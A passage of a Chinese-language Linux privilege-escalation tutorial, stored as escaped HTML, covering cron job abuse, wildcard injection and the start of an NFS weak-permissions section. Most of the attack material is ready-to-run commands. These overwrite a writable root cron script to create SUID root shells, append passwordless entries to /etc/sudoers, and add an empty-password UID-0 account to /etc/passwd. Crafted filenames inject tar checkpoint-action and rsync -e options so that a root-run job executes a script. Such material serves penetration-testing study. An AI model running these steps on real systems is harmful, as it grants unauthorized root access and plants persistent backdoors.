\u6708\u2013\u7b2c\u56db\u4e2a\u503c\u8868\u793a1\u523012\u4e4b\u95f4\u7684\u6708\u4efd\u8303\u56f4\uff0c*\u8868\u793a\u4efb\u4f55\u6708\u4efd\u3002<\/li>\n
\u661f\u671f\u51e0\u2013\u7b2c\u4e94\u4e2a\u503c\u8868\u793a\u4ece\u661f\u671f\u5929\u5f00\u59cb\u7684\u661f\u671f\u51e0\uff0c\u4ecb\u4e8e0\u52306\u4e4b\u95f4\uff0c*\u8868\u793a\u661f\u671f\u51e0\u3002<\/li>\n<\/ul>\n
\u7b80\u800c\u8a00\u4e4b\u5462\uff0c<\/strong>crontab\u5c31\u662f\u4e00\u4e2a\u81ea\u5b9a\u4e49\u5b9a\u65f6\u5668\u3002<\/strong><\/p>\n
Cron\u7279\u6743\u5347\u7ea7\u6982\u8ff0<\/strong><\/h3>\n
cron\u5b88\u62a4\u7a0b\u5e8f\u8ba1\u5212\u5728\u6307\u5b9a\u7684\u65e5\u671f\u548c\u65f6\u95f4\u8fd0\u884c\u547d\u4ee4\u3002\u5b83\u4e0e\u7279\u5b9a\u7528\u6237\u4e00\u8d77\u8fd0\u884c\u547d\u4ee4\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u6ee5\u7528\u5b83\u6765\u5b9e\u73b0\u7279\u6743\u5347\u7ea7\u3002<\/p>\n
\u6ee5\u7528cron\u7684\u4e00\u4e2a\u597d\u65b9\u6cd5\u662f\uff0c<\/p>\n
1.\u68c0\u67e5cron\u8fd0\u884c\u7684\u811a\u672c\u7684\u6587\u4ef6\u6743\u9650\u3002\u5982\u679c\u6743\u9650\u8bbe\u7f6e\u4e0d\u6b63\u786e\uff0c\u5219\u653b\u51fb\u8005\u53ef\u80fd\u4f1a\u8986\u76d6\u6587\u4ef6\u5e76\u8f7b\u677e\u83b7\u53d6cron\u4e2d\u8bbe\u7f6e\u7684\u7528\u6237\u6743\u9650\u3002<\/p>\n
2.\u53e6\u4e00\u79cd\u65b9\u6cd5\u662f\u4f7f\u7528\u901a\u914d\u7b26\u6280\u5de7<\/p>\n
Cron**<\/strong>\u4fe1\u606f\u6536\u96c6**<\/p>\n
\u4e00\u4e9b\u57fa\u672c\u547d\u4ee4\u6536\u96c6\u4e00\u4e9b\u7ebf\u7d22\uff0c\u4ee5\u4f7f\u7528\u9519\u8bef\u914d\u7f6e\u7684cron\u5b9e\u73b0\u7279\u6743\u5347\u7ea7\u3002<\/p>\n
\n\n\n\n\n\n\n
\n
\n
\u547d\u4ee4<\/p>\n<\/div>\n<\/th>\n
\n
\n
\u7ed3\u679c<\/p>\n<\/div>\n<\/th>\n<\/tr>\n<\/thead>\n
\n
\n
crontab -l<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u663e\u793a\u5f53\u524d\u7528\u6237\u7684cron<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
\n
\n
ls -la \/etc\/cron*<\/p>\n<\/div>\n<\/td>\n
\n
\n
\u663e\u793a\u8ba1\u5212\u7684\u4f5c\u4e1a\u6982\u8ff0<\/p>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n
\u5177\u6709\u7279\u6743\u7684\u8fd0\u884c\u811a\u672c\uff0c\u5176\u4ed6\u7528\u6237\u53ef\u4ee5\u7f16\u8f91\u8be5\u811a\u672c\u3002<\/p>\n
\u67e5\u627e\u7279\u6743\u7528\u6237\u62e5\u6709\u4f46\u53ef\u5199\u7684\u4efb\u4f55\u5185\u5bb9\uff1a<\/strong><\/p>\n
crontab -lls -alh \/var\/spool\/cronls -al \/etc\/ | grep cronls -al \/etc\/croncat \/etc\/cron<\/em>cat \/etc\/at.allowcat \/etc\/at.denycat \/etc\/cron.allowcat \/etc\/cron.denycat \/etc\/crontabcat \/etc\/anacrontabcat \/var\/spool\/cron\/crontabs\/root<\/p>\n
\u67e5\u770b\u5176\u4ed6\u7528\u6237\u7684<\/strong>crontab<\/p>\n
$ crontab -u tstark -l0 0 \/ jarvis \/ reboot-arc-reactor<\/p>\n
\u5982\u679c\u670d\u52a1\u5668\u4e0a\u6709\u5f88\u591a\u7528\u6237\uff0c\u90a3\u4e48\u53ef\u4ee5\u5728cron\u65e5\u5fd7\u4e2d\u770b\u5230\u8be6\u7ec6\u4fe1\u606f\uff0c\u53ef\u80fd\u5305\u542b\u7528\u6237\u540d\u3002<\/p>\n
\u4f8b\u5982\uff0c\u5728\u8fd9\u91cc\u6211\u53ef\u4ee5\u770b\u5230\u8fd0\u884c\u6570\u636e\u5e93\u5907\u4efd\u811a\u672c\u7684ubuntu\u7528\u6237\uff1a<\/p>\n
8\u67085\u65e54:05:01 dev01 CRON [2128]\uff1a\uff08ubuntu\uff09CMD\uff08\/var\/cronitor\/database-backup.sh\uff09<\/p>\n
\u4f7f\u7528<\/strong>pspy\u5de5\u5177\uff08<\/strong>32\u4f4d\u4e3a<\/strong>pspy32\uff0c<\/strong>64\u4f4d\u4e3a<\/strong>pspy64\uff09\u3002<\/strong><\/p>\n
\u4e0b\u8f7d\u94fe\u63a5\uff1ahttps:\/\/github.com\/DominicBreuker\/pspy<\/p>\n
\u5229\u7528\u914d\u7f6e\u9519\u8bef\u7684<\/strong>cronjob\u83b7\u5f97<\/strong>root\u8bbf\u95ee\u6743\u9650<\/strong><\/p>\n
$ ls -la \/etc\/cron.d \u2013\u8f93\u51facron.d\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684cronjob<\/p>\n
find \/ -perm -2 -type f 2> \/ dev \/ null \u2013\u8f93\u51fa\u53ef\u5199\u6587\u4ef6<\/p>\n
ls -la \/usr\/local\/sbin\/cron-logrotate.sh \u2013\u8ba9\u6211\u4eec\u786e\u8ba4cron-logrotate.sh\u662f\u5426\u53ef\u5199\u3002<\/p>\n
\u6211\u4eec\u77e5\u9053cron-lograte.sh\u662f\u53ef\u5199\u7684\uff0c\u5b83\u7531logrotate cronjob\u8fd0\u884c\u3002<\/strong><\/h3>\n
\u90a3\u4e48\u6211\u4eec\u5728cron-lograte.sh\u4e2d\u7f16\u5199\/\u9644\u52a0\u7684\u4efb\u4f55\u547d\u4ee4\u90fd\u5c06\u4ee5\u201c root\u201d\u8eab\u4efd\u6267\u884c\u3002<\/p>\n
\u6211\u4eec\u5728\/ tmp\u76ee\u5f55\u4e2d\u7f16\u5199\u4e00\u4e2aC\u6587\u4ef6\u5e76\u8fdb\u884c\u7f16\u8bd1\u3002<\/p>\n
rootme\u53ef\u6267\u884c\u6587\u4ef6\u5c06\u751f\u6210\u4e00\u4e2ashell\u3002<\/p>\n
$ ls -<\/span>la rootme \u2013\u5b83\u544a\u8bc9\u6211\u4eec\u5b83\u662f\u7531\u7528\u6237'SHayslett'<\/span>\u62e5\u6709\u7684\r\n\r\n$ echo\u201c chown root\uff1aroot \/<\/span> tmp \/<\/span> rootme;<\/span> chmod u +<\/span> s \/<\/span>tmp\/<\/span>rootme;<\/span>\u201d><\/span>\/<\/span>usr\/<\/span>local\/<\/span>sbin\/<\/span>cron-<\/span>logrotate.<\/span>sh \u2013\u8fd9\u5c06\u66f4\u6539\u53ef\u6267\u884c\u6587\u4ef6\u7684\u6240\u6709\u8005\u548c\u7ec4\u4e3aroot\u3002\u5b83\u8fd8\u5c06\u8bbe\u7f6eSUID\u4f4d\u3002$ ls -<\/span>la rootme \u2013 5<\/span>\u5206\u949f\u540e\uff0c\u8fd0\u884c\u4e86logrotate cronjob\uff0c\u5e76\u4ee5root\u7279\u6743\u6267\u884c\u4e86cron-<\/span>logrotate.<\/span>sh\u3002$ .<\/span>\/<\/span>rootme \u2013\u751f\u6210\u4e00\u4e2aroot shell\u3002<\/pre>\n
Cron\u811a\u672c\u8986\u76d6\u548c\u7b26\u53f7\u94fe\u63a5<\/strong><\/h3>\n
\u5982\u679c\u53ef\u4ee5\u4fee\u6539\u7531root\u6267\u884c\u7684cron\u811a\u672c\uff0c\u5219\u53ef\u4ee5\u975e\u5e38\u8f7b\u677e\u5730\u83b7\u53d6shell\uff1a<\/strong><\/h3>\n
echo \u2018cp \/bin\/bash \/tmp\/bash; chmod +s \/tmp\/bash\u2019 > #Wait until it is executed\/tmp\/bash -p\uff03\u7b49\u5f85\u6267\u884c<\/p>\n
\/ tmp \/ bash -p<\/p>\n
\u5982\u679croot\u7528\u6237\u6267\u884c\u7684\u811a\u672c\u4f7f\u7528\u5177\u6709\u5b8c\u5168\u8bbf\u95ee\u6743\u9650<\/strong>\u7684\u76ee\u5f55<\/strong>\uff0c\u5219\u5220\u9664\u8be5\u6587\u4ef6\u5939\u5e76\u521b\u5efa\u4e00\u4e2a\u7b26\u53f7\u94fe\u63a5\u6587\u4ef6\u5939\u5230\u53e6\u4e00\u4e2a<\/strong>\u670d\u52a1\u4e8e\u60a8\u63a7\u5236\u7684\u811a\u672c\u7684\u6587\u4ef6\u5939<\/strong>\u53ef\u80fd\u4f1a\u5f88\u6709\u7528\u3002<\/p>\n
ln -d -s < \/ PATH \/ TO \/ POINT > < \/ PATH \/ CREATE \/ FOLDER ><\/p>\n
\u5b9a\u65f6\u4efb\u52a1<\/strong><\/h3>\n
\u53ef\u4ee5\u76d1\u89c6\u8fdb\u7a0b\u4ee5\u641c\u7d22\u6bcf1,2\u62165\u5206\u949f\u6267\u884c\u7684\u8fdb\u7a0b\u3002\u53ef\u4ee5\u5229\u7528\u5b83\u5e76\u63d0\u5347\u7279\u6743\u3002<\/p>\n
\u4f8b\u5982\uff0c\u8981\u57281\u5206\u949f\u5185\u6bcf\u96940.1s\u76d1\u89c6\u4e00\u6b21<\/strong>\uff0c\u6309\u6267\u884c\u6b21\u6570\u8f83\u5c11\u7684\u547d\u4ee4\u6392\u5e8f<\/strong>\u5e76\u5220\u9664\u4e00\u76f4\u6267\u884c\u7684\u547d\u4ee4\uff0c\u53ef\u4ee5\u6267\u884c\u4ee5\u4e0b\u64cd\u4f5c\uff1a<\/p>\n
for i in $(seq 1 610); do ps -e \u2014format cmd >> \/tmp\/monprocs.tmp; sleep 0.1; done; sort \/tmp\/monprocs.tmp | uniq -c | grep -v \u201c[\u201c | sed \u2018\/^.{200}.\/d\u2019 | sort | grep -E -v \u201c\\s[6-9][0-9][0-9]|\\s<\/em>[0-9][0-9][0-9][0-9]\u201d; rm \/tmp\/monprocs.tmp;<\/p>\n
\u603b\u7ed3<\/strong><\/p>\n
\u7531\u4e8eCron\u5728\u6267\u884c\u65f6\u4ee5root\u8eab\u4efd\u8fd0\u884c\/etc\/crontab\uff0c\u56e0\u6b64crontab\u8c03\u7528\u7684\u4efb\u4f55\u547d\u4ee4\u6216\u811a\u672c\u4e5f\u5c06\u4ee5root\u8eab\u4efd\u8fd0\u884c\u3002\u5f53Cron\u6267\u884c\u7684\u811a\u672c\u53ef\u7531\u975e\u7279\u6743\u7528\u6237\u7f16\u8f91\u65f6\uff0c\u90a3\u4e9b\u975e\u7279\u6743\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u7f16\u8f91\u6b64\u811a\u672c\u5e76\u7b49\u5f85Cron\u4ee5root\u7279\u6743\u6267\u884c\u8be5\u811a\u672c\u6765\u63d0\u5347\u5176\u7279\u6743\uff01<\/p>\n
\u4f8b\u5982\uff0c\u5047\u8bbe\u4e0b\u9762\u7684\u884c\u5728\u4e2d\/etc\/crontab\u3002\u6bcf\u5929\u665a\u4e0a9\uff1a30\uff0cCron\u8fd0\u884cmaintenance.shshell\u811a\u672c\u3002\u8be5\u811a\u672c\u5728root\u7279\u6743\u4e0b\u8fd0\u884c\u3002<\/p>\n
30 21 * root \/path\/to\/maintenance.sh<\/p>\n
\u73b0\u5728\u8ba9\u6211\u4eec\u8bf4\u8be5maintenance.sh\u811a\u672c\u8fd8\u53ef\u4ee5\u7531\u6240\u6709\u4eba\u7f16\u8f91\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662froot\u7528\u6237\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u5c06\u547d\u4ee4\u6dfb\u52a0\u5230maintenance.sh\uff0c\u5e76\u4f7f\u8be5\u547d\u4ee4\u7531root\u7528\u6237\u6267\u884c\uff01<\/p>\n
\u8fd9\u4f7f\u5f97\u7279\u6743\u5347\u7ea7\u53d8\u5f97\u5fae\u4e0d\u8db3\u9053\u3002\u4f8b\u5982\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u5c06\u81ea\u5df1\u6dfb\u52a0\u4e3aSudoer\u6765\u5411\u81ea\u5df1\u6388\u4e88\u8d85\u7ea7\u7528\u6237\u7279\u6743\u3002<\/p>\n
echo \u201cvickie ALL=(ALL) NOPASSWD:ALL\u201d >> \/etc\/sudoers<\/p>\n
\u6216\u8005\uff0c\u4ed6\u4eec\u53ef\u4ee5\u901a\u8fc7\u5c06\u65b0\u7684root\u7528\u6237\u6dfb\u52a0\u5230\u201c \/ etc \/ passwd\u201d\u6587\u4ef6\u6765\u83b7\u5f97root\u8bbf\u95ee\u6743\u9650\u3002\u7531\u4e8e\u201c 0\u201d\u662froot\u7528\u6237\u7684UID\uff0c\u56e0\u6b64\u6dfb\u52a0UID\u4e3a\u201c 0\u201d\u7684\u7528\u6237\u5c06\u4e3a\u8be5\u7528\u6237\u63d0\u4f9broot\u7279\u6743\u3002\u8be5\u7528\u6237\u7684\u7528\u6237\u540d\u4e3a\u201c vickie\u201d\uff0c\u5bc6\u7801\u4e3a\u7a7a\uff1a<\/p>\n
echo \u201cvickie::0:0:System Administrator:\/root\/root:\/bin\/bash\u201d >> \/etc\/passwd<\/p>\n
\u7b49\u7b49\u3002<\/p>\n
0x008 linux\u63d0\u6743-\u901a\u914d\u7b26\u6ce8\u5165<\/strong><\/h2>\n
\u901a\u914d\u7b26\u662f\u4ee3\u8868\u5176\u4ed6\u5b57\u7b26\u7684\u7b26\u53f7\u3002\u60a8\u53ef\u4ee5\u5c06\u5b83\u4eec\u4e0e\u4efb\u4f55\u547d\u4ee4\uff08\u4f8b\u5982cat\u6216rm\u547d\u4ee4\uff09\u4e00\u8d77\u4f7f\u7528\uff0c\u4ee5\u5217\u51fa\u6216\u5220\u9664\u7b26\u5408\u7ed9\u5b9a\u6761\u4ef6\u7684\u6587\u4ef6\u3002\u8fd8\u6709\u5176\u4ed6\u4e00\u4e9b\uff0c\u4f46\u662f\u73b0\u5728\u5bf9\u6211\u4eec\u5f88\u91cd\u8981\u7684\u4e00\u4e2a\u662f*\u5b57\u7b26\uff0c\u5b83\u53ef\u4ee5\u5339\u914d\u4efb\u610f\u6570\u91cf\u7684\u5b57\u7b26\u3002<\/p>\n
\u4f8b\u5982\uff1a<\/p>\n
\n
cat \u663e\u793a\u5f53\u524d\u76ee\u5f55\u4e2d\u6240\u6709\u6587\u4ef6\u7684\u5185\u5bb9<\/li>\n
rm \u5220\u9664\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6<\/li>\n<\/ul>\n
\u5b83\u7684\u5de5\u4f5c\u539f\u7406\u662f\u5c06\u89d2\u8272\u6269\u5c55\u5230\u6240\u6709\u5339\u914d\u7684\u6587\u4ef6\u3002\u5982\u679c\u6211\u4eec\u6709\u6587\u4ef6a\uff0cb\u5e76\u4e14c\u5728\u5f53\u524d\u76ee\u5f55\u4e2d\u5e76\u8fd0\u884crm <\/em>\uff0c\u5219\u7ed3\u679c\u4e3arm a b c\u3002<\/p>\n
\u539f\u7406<\/strong><\/h3>\n
\u4f17\u6240\u5468\u77e5\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u547d\u4ee4\u884c\u4e2d\u5c06\u6807\u5fd7\u4f20\u9012\u7ed9\u7a0b\u5e8f\u4ee5\u6307\u793a\u5176\u5e94\u5982\u4f55\u8fd0\u884c\u3002\u4f8b\u5982\uff0c\u5982\u679c\u6211\u4eec\u4f7f\u7528rm -rf\u800c\u4e0d\u662f\uff0crm\u90a3\u4e48\u5b83\u5c06\u9012\u5f52\u5e76\u5f3a\u5236\u5220\u9664\u6587\u4ef6\uff0c\u800c\u65e0\u9700\u8fdb\u4e00\u6b65\u63d0\u793a\u3002<\/p>\n
\u73b0\u5728\uff0c\u5982\u679c\u6211\u4eec\u8fd0\u884crm \u5e76\u5728\u5f53\u524d\u76ee\u5f55\u4e2d\u6709\u4e00\u4e2a\u540d\u4e3aname\u7684\u6587\u4ef6\uff0c\u5c06\u4f1a\u53d1\u751f\u4ec0\u4e48-rf\uff1f<\/em>\u7684Shell\u6269\u5c55\u5c06\u5bfc\u81f4\u547d\u4ee4\u53d8\u4e3a\uff0crm -rf a b c\u5e76\u4e14-rf\u5c06\u88ab\u89e3\u91ca\u4e3a\u547d\u4ee4\u53c2\u6570\u3002<\/p>\n
\u5f53\u7279\u6743\u7528\u6237\u6216\u811a\u672c\u5728\u5177\u6709\u6f5c\u5728\u5371\u9669\u6807\u5fd7\u7684\u547d\u4ee4\u4e2d\u4f7f\u7528\u901a\u914d\u7b26\u65f6\uff0c\u5c24\u5176\u662f\u4e0e\u5916\u90e8\u547d\u4ee4\u6267\u884c\u76f8\u5173\u7684\u901a\u914d\u7b26\uff0c\u8fd9\u662f\u4e00\u4e2a\u574f\u6d88\u606f\u3002\u5728\u8fd9\u4e9b\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u80fd\u4f1a\u4f7f\u7528\u5b83\u6765\u5347\u7ea7\u7279\u6743\u3002<\/p>\n
chown\u548cchmod<\/strong><\/h3>\n
chown\u548cchmod\u90fd\u53ef\u4ee5\u7528\u76f8\u540c\u7684\u65b9\u5f0f\u5229\u7528\uff0c\u56e0\u6b64\u6211\u53ea\u770b\u770bchown\u3002<\/p>\n
Chown\u662f\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u53ef\u8ba9\u60a8\u66f4\u6539\u6307\u5b9a\u6587\u4ef6\u7684\u6240\u6709\u8005\u3002\u4ee5\u4e0b\u793a\u4f8b\u5c06some-file.txt\u7684\u6240\u6709\u8005\u66f4\u6539\u4e3asome-user\uff1a<\/p>\n
chown some-user some-file.txt<\/p>\n
Chown\u5177\u6709\u4e00\u4e2a\u2014reference=some-reference-file\u6807\u5fd7\uff0c\u8be5\u6807\u5fd7\u6307\u5b9a\u6587\u4ef6\u7684\u6240\u6709\u8005\u5e94\u4e0e\u53c2\u8003\u6587\u4ef6\u7684\u6240\u6709\u8005\u76f8\u540c\u3002\u4e00\u4e2a\u4f8b\u5b50\u5e94\u8be5\u6709\u5e2e\u52a9\uff1a<\/p>\n
chown some-user some-file.txt \u2014reference=some-reference-file<\/p>\n
\u5047\u8bbe\u7684\u6240\u6709\u8005some-reference-file\u662fanother-user\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6240\u6709\u8005some-file.txt\u5c06another-user\u4ee3\u66ffsome-user\u3002<\/p>\n
\u5229\u7528<\/strong><\/h3>\n
\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u540d\u4e3a\u5f31\u52bf\u7a0b\u5e8f\u7684\u8106\u5f31\u7a0b\u5e8f\uff0c\u5176\u4e2d\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n
cd some-directorychown root *<\/p>\n
\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8ba9\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u6211\u4eec\u62e5\u6709\u7684\u6587\u4ef6\uff1a<\/p>\n
cd some-directory touch reference<\/p>\n
\u7136\u540e\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\uff0c\u5c06\u6ce8\u5165\u6807\u8bb0\uff1a<\/p>\n
touch \u2014 \u2014reference=reference<\/p>\n
\u5982\u679c\u5728\u540c\u4e00\u76ee\u5f55\u4e2d\u521b\u5efa\u5230\/ etc \/ passwd<\/strong>\u7684\u7b26\u53f7\u94fe\u63a5\uff0c\u5219\/ etc \/ passwd<\/strong>\u7684\u6240\u6709\u8005\u4e5f\u5c06\u662f\u60a8\uff0c\u8fd9\u5c06\u4f7f\u60a8\u83b7\u5f97root shell\u3002<\/p>\n
\u5176\u4ed6<\/strong><\/h3>\n
TAR<\/strong><\/h3>\n
Tar\u662f\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u53ef\u8ba9\u60a8\u5c06\u6587\u4ef6\u6536\u96c6\u5230\u5b58\u6863\u4e2d\u3002<\/p>\n
\u5728tar\u4e2d\uff0c\u6709\u201c\u68c0\u67e5\u70b9\u201d\u6807\u5fd7\uff0c\u8fd9\u4e9b\u6807\u5fd7\u4f7f\u60a8\u53ef\u4ee5\u5728\u5f52\u6863\u6307\u5b9a\u6570\u91cf\u7684\u6587\u4ef6\u540e\u6267\u884c\u64cd\u4f5c\u3002\u7531\u4e8e\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u901a\u914d\u7b26\u6ce8\u5165\u6765\u6ce8\u5165\u90a3\u4e9b\u6807\u5fd7\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u68c0\u67e5\u70b9\u6765\u6267\u884c\u6211\u4eec\u9009\u62e9\u7684\u547d\u4ee4\u3002\u5982\u679ctar\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\uff0c\u5219\u547d\u4ee4\u4e5f\u5c06\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u3002<\/p>\n
\u9274\u4e8e\u5b58\u5728\u6b64\u6f0f\u6d1e\uff0c\u83b7\u5f97root\u7528\u6237\u7279\u6743\u7684\u4e00\u79cd\u7b80\u5355\u65b9\u6cd5\u662f\u4f7f\u81ea\u5df1\u6210\u4e3asudoer\u3002sudoer\u662f\u53ef\u4ee5\u627f\u62c5root\u7279\u6743\u7684\u7528\u6237\u3002\u8fd9\u4e9b\u7528\u6237\u5728\/etc\/sudoers\u6587\u4ef6\u4e2d\u6307\u5b9a\u3002\u53ea\u9700\u5728\u8be5\u6587\u4ef6\u4e0a\u8ffd\u52a0\u4e00\u884c\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u81ea\u5df1\u53d8\u5f97\u66f4\u8f7b\u677e\u3002<\/p>\n
\u5229\u7528<\/strong><\/h3>\n
\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u6613\u53d7\u653b\u51fb\u7684\u7a0b\u5e8f\uff0c\u5e76\u4e14\u4f7f\u7528cron\u5b9a\u671f\u8fd0\u884c\u8be5\u7a0b\u5e8f\u3002\u8be5\u7a0b\u5e8f\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n
cd important-directorytar cf \/var\/backups\/backup.tar *<\/p>\n
\u8fdb\u884c\u6839\u8bbf\u95ee\u7684\u6b65\u9aa4\u5982\u4e0b\uff1a<\/p>\n
1<\/strong>\uff09\u6ce8\u5165\u4e00\u4e2a\u6807\u5fd7\u6765\u6307\u5b9a\u6211\u4eec\u7684\u68c0\u67e5\u70b9<\/p>\n
\u9996\u5148\uff0c\u6211\u4eec\u5c06\u6307\u5b9a\u5728\u5f52\u6863\u4e00\u4e2a\u6587\u4ef6\u4e4b\u540e\uff0c\u6709\u4e00\u4e2a\u68c0\u67e5\u70b9\u3002\u7a0d\u540e\u6211\u4eec\u5c06\u5bf9\u8be5\u68c0\u67e5\u70b9\u6267\u884c\u64cd\u4f5c\uff0c\u4f46\u662f\u73b0\u5728\u6211\u4eec\u4ec5\u544a\u8bc9tar\u5b83\u5b58\u5728\u3002<\/p>\n
\u8ba9\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u5c06\u6ce8\u5165\u6807\u8bb0\u7684\u6587\u4ef6\uff1a<\/p>\n
cd important-directorytouch \u2014 \u2014checkpoint=1<\/p>\n
2<\/strong>\uff09\u7f16\u5199\u6076\u610f\u7684Shell<\/strong>\u811a\u672c<\/p>\n
Shell\u811a\u672c\u5c06\/etc\/sudoers\u5728\u5176\u540e\u8ffd\u52a0\u4ee3\u7801\uff0c\u8fd9\u4f1a\u4f7f\u60a8\u53d8\u5f97\u66f4\u52a0\u65e0\u793c\u3002<\/p>\n
\u60a8\u9700\u8981\u6dfb\u52a0\u5230\u7684\u884c\/etc\/sudoers\u662fmy-user ALL=(root) NOPASSWD: ALL\u3002<\/p>\n
\u8ba9\u6211\u4eec\u521b\u5efashell\u811a\u672c\uff1a<\/p>\n
echo \u2018echo \u201cmy-user ALL=(root) NOPASSWD: ALL\u201d >> \/etc\/sudoers\u2019 > demo.sh<\/p>\n
Shell\u811a\u672c\u5e94\u4e0e\u901a\u914d\u7b26\u4f4d\u4e8e\u540c\u4e00\u76ee\u5f55\u4e2d\u3002<\/p>\n
\u8bf7\u6ce8\u610f\uff0c\u6211\u4eec\u5c06\u5fc5\u987b\u66f4\u6539my-user\u4e3a\u8981\u6210\u4e3asudoer\u7684\u5b9e\u9645\u7528\u6237\u3002<\/p>\n
3<\/strong>\uff09\u6ce8\u5165\u4e00\u4e2a\u6307\u5b9a\u68c0\u67e5\u70b9\u52a8\u4f5c\u7684\u6807\u5fd7<\/p>\n
\u73b0\u5728\uff0c\u6211\u4eec\u5c06\u6307\u5b9a\uff0c\u5f53tar\u5230\u8fbe\u5728\u6b65\u9aa4\uff031\u4e2d\u6307\u5b9a\u7684\u68c0\u67e5\u70b9\u65f6\uff0c\u5b83\u5e94\u8fd0\u884c\u5728\u6b65\u9aa4\uff032\u4e2d\u521b\u5efa\u7684shell\u811a\u672c\uff1a<\/p>\n
touch \u2014 \u201c\u2014checkpoint-action=exec=sh demo.sh\u201d<\/p>\n
4<\/strong>\uff09root<\/strong><\/p>\n
\u7b49\u5f85\uff0c\u76f4\u5230cron\u6267\u884c\u4e86\u811a\u672c\u5e76\u901a\u8fc7\u952e\u5165\u4ee5\u4e0b\u5185\u5bb9\u83b7\u5f97root\u7279\u6743\uff1a<\/p>\n
sudo su<\/p>\n
rsync<\/strong><\/h3>\n
Rsync\u662f\u201c\u5feb\u901f\uff0c\u901a\u7528\uff0c\u8fdc\u7a0b\uff08\u548c\u672c\u5730\uff09\u6587\u4ef6\u590d\u5236\u5de5\u5177\u201d\uff0c\u5728linux\u7cfb\u7edf\u4e0a\u975e\u5e38\u5e38\u89c1\u3002<\/p>\n
\u4e0ersync\u4e00\u8d77\u4f7f\u7528\u7684\u4e00\u4e9b\u6709\u8da3\u7684\u6807\u5fd7\u662f\uff1a<\/p>\n
-e, \u2014rsh=COMMAND specify the remote shell to use \u2014rsync-path=PROGRAM specify the rsync to run on remote machine<\/p>\n
\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8be5-e\u6807\u5fd7\u6765\u8fd0\u884c\u6240\u9700\u7684\u4efb\u4f55Shell\u811a\u672c\u3002\u8ba9\u6211\u4eec\u521b\u5efa\u4e00\u4e2ashell\u811a\u672c\uff0c\u5b83\u5c06\u6211\u4eec\u6dfb\u52a0\u5230sudoers\u6587\u4ef6\u4e2d\uff1a<\/p>\n
echo \u2018echo \u201cmy-user ALL=(root) NOPASSWD: ALL\u201d >> \/etc\/sudoers\u2019 > shell.sh<\/p>\n
\u73b0\u5728\u8ba9\u6211\u4eec\u6ce8\u5165\u5c06\u8fd0\u884c\u6211\u4eec\u7684shell\u811a\u672c\u7684\u6807\u5fd7\uff1a<\/p>\n
touch \u2014 \u201c-e sh shell.sh\u201d<\/p>\n
0x009 Linux\u63d0\u6743-NFS\u6743\u9650\u5f31<\/strong><\/h2>\n
\u5982\u679c\u60a8\u5728linu\u670d\u52a1\u5668\u4e0a\u5177\u6709\u4f4e\u7279\u6743shell\uff0c\u5e76\u4e14\u53d1\u73b0\u670d\u52a1\u5668\u4e2d\u5177\u6709NFS\u5171\u4eab\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u5b83\u6765\u5347\u7ea7\u7279\u6743\u3002\u4f46\u662f\u6210\u529f\u53d6\u51b3\u4e8e\u5b83\u7684\u914d\u7f6e\u65b9\u5f0f\u3002<\/p>\n
\u76ee\u5f55<\/strong><\/h3>\n
\n
\u4ec0\u4e48\u662fNFS\uff1f<\/li>\n
\u4ec0\u4e48\u662froot_sqaush\u548cno_root_sqaush\uff1f<\/li>\n
\u6240\u9700\u7684\u5de5\u5177\u548c\u7a0b\u5e8f\u6587\u4ef6\u3002<\/li>\n
\u5229\u7528NFS\u5f31\u6743\u9650\u3002<\/li>\n<\/ol>\n
\u4ec0\u4e48\u662fNFS\uff1f<\/strong><\/h3>\n
\u7f51\u7edc\u6587\u4ef6\u7cfb\u7edf\uff08NFS<\/strong>\uff09\u662f\u4e00\u4e2a\u5ba2\u6237\u7aef\/\u670d\u52a1\u5668\u5e94\u7528\u7a0b\u5e8f\uff0c\u5b83\u4f7f\u8ba1\u7b97\u673a\u7528\u6237\u53ef\u4ee5\u67e5\u770b\u548c\u9009\u62e9\u5b58\u50a8\u548c\u66f4\u65b0\u8fdc\u7a0b\u8ba1\u7b97\u673a\u4e0a\u7684\u6587\u4ef6\uff0c\u5c31\u50cf\u5b83\u4eec\u4f4d\u4e8e\u7528\u6237\u81ea\u5df1\u7684\u8ba1\u7b97\u673a\u4e0a\u4e00\u6837\u3002\u5728NFS<\/strong>\u534f\u8bae\u662f\u51e0\u4e2a\u5206\u5e03\u5f0f\u6587\u4ef6\u7cfb\u7edf\u6807\u51c6\uff0c\u7f51\u7edc\u9644\u52a0\u5b58\u50a8\uff08NAS\uff09\u4e4b\u4e00\u3002<\/p>\n
